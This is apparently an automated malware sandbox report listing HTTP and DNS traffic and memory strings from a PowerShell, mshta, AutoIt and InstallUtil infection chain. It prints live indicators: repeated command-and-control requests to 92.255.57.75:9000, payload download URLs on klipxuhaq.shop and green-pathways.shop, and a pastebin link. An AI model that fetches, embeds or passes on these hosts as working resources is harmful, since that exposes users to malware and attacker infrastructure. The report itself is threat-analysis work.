Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 92.255.57.75:9000Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: static.klipxuhaq.shop
Source: global traffic	DNS traffic detected: DNS query: csp-invoices-v5.com
Source: global traffic	DNS traffic detected: DNS query: cndef1.green-pathways.shop
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.75:
Source: InstallUtil.exe, 00000014.00000002.4612932603.000000000304D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.75:9000
Source: InstallUtil.exe, 00000014.00000002.4612932603.000000000304D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.4612932603.0000000003460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.75:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.75:9000/wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4FP
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228AA0B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cndef1.green-pathways.shop
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: mshta.exe, 00000006.00000003.2375053800.00000147F3453000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2386392180.00000147F3454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000007.00000002.3834920834.000002B817C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000008.00000002.2248157130.00000188E5448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csp-invoices-v5.com
Source: svchost.exe, 00000007.00000003.2189651240.000002B817A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000008.00000002.2248157130.00000188E5524000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5154000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8555000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: InstallUtil.exe, 00000014.00000002.4657366283.0000000008612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oenM1
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: powershell.exe, 00000003.00000002.2167146722.000001C43700D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B700095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E4FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A83A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000014.00000002.4612932603.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A9E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A9E5F000.00000004.00000800.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: updater.exe, 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmp, updater.exe, 00000013.00000003.2476879837.0000000004804000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049C9000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488230939.00000000048EF000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2632727489.0000000001039000.00000002.00000001.01000000.00000013.sdmp, AutoIt3.exe, 00000016.00000003.2626597841.0000000004A34000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637708113.0000000004B1F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2626951599.0000000004BF9000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705548763.0000000005319000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712275124.000000000523F000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2708387150.0000000001039000.00000002.00000001.01000000.00000013.sdmp, AutoIt3.exe, 00000018.00000003.2705318551.0000000005154000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 0000000A.00000002.2559586731.00000228C0530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000003.00000002.2167146722.000001C436FC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000003.00000002.2167146722.000001C436FDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B700049000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B70005C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E4FA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A83A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A99D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228AA044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cndef1.green-pathways.shop
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228AA044000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A83A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cndef1.green-pathways.shop/api/uz/7552973650/nnn.bin
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A99D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A83A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cndef1.green-pathways.shop/api/uz/7552973650/u.bin
Source: powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.2248157130.00000188E51CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E5442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp-invoices-v5.com
Source: powershell.exe, 00000008.00000002.2248157130.00000188E6B97000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2248157130.00000188E51CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp-invoices-v5.com/pdf/cloudviewer/ref095vq842r70/3rd/party/authorisation/form/20241210/doc
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: InstallUtil.exe, 00000014.00000002.4634743358.000000000406E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000007.00000003.2189651240.000002B817AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000007.00000003.2189651240.000002B817A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000000A.00000002.2410097536.00000228A85D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.2248157130.00000188E6181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2410097536.00000228A8FD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.2248157130.00000188E5524000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2333759045.00000188F5154000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8555000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2542379363.00000228B8412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: InstallUtil.exe, 00000017.00000002.2639025712.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/gxDS2LkW
Source: InstallUtil.exe, 00000017.00000002.2639025712.00000000030B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/gxDS2LkWPO
Source: powershell.exe, 00000005.00000002.2160147067.000001B7004AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2160147067.000001B700508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.k
Source: powershell.exe, 00000005.00000002.2160147067.000001B7004AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.kX
Source: mshta.exe, 00000006.00000003.2368382219.0000013FF0911000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383568744.0000013FF0914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/
Source: powershell.exe, 00000003.00000002.2167146722.000001C43747E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.
Source: mshta.exe, 00000006.00000002.2383432625.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4
Source: mshta.exe, 00000006.00000003.2369818572.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371331548.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383432625.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4$A
Source: powershell.exe	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4$global:?
Source: powershell.exe, 00000005.00000002.2162496445.000001B7791F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383283172.0000013FF0880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4-
Source: mshta.exe, 00000006.00000003.2375053800.00000147F347E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4...
Source: powershell.exe, 00000005.00000002.2163725053.000001B77B41F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp43
Source: mshta.exe, 00000006.00000002.2383283172.0000013FF0880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4C:
Source: mshta.exe, 00000006.00000003.2364749175.00000147F759E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2388134533.00000147F7666000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2365178085.00000147F765E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4C:Syste
Source: mshta.exe, 00000006.00000002.2384299310.0000013FF09E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4H
Source: mshta.exe, 00000006.00000002.2388134533.00000147F7666000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4LMEMP
Source: mshta.exe, 00000006.00000003.2369818572.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371331548.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383432625.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4SSC:
Source: powershell.exe, 00000005.00000002.2163130499.000001B7794B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.klipxuhaq.shop/3VKKE.mp4dows
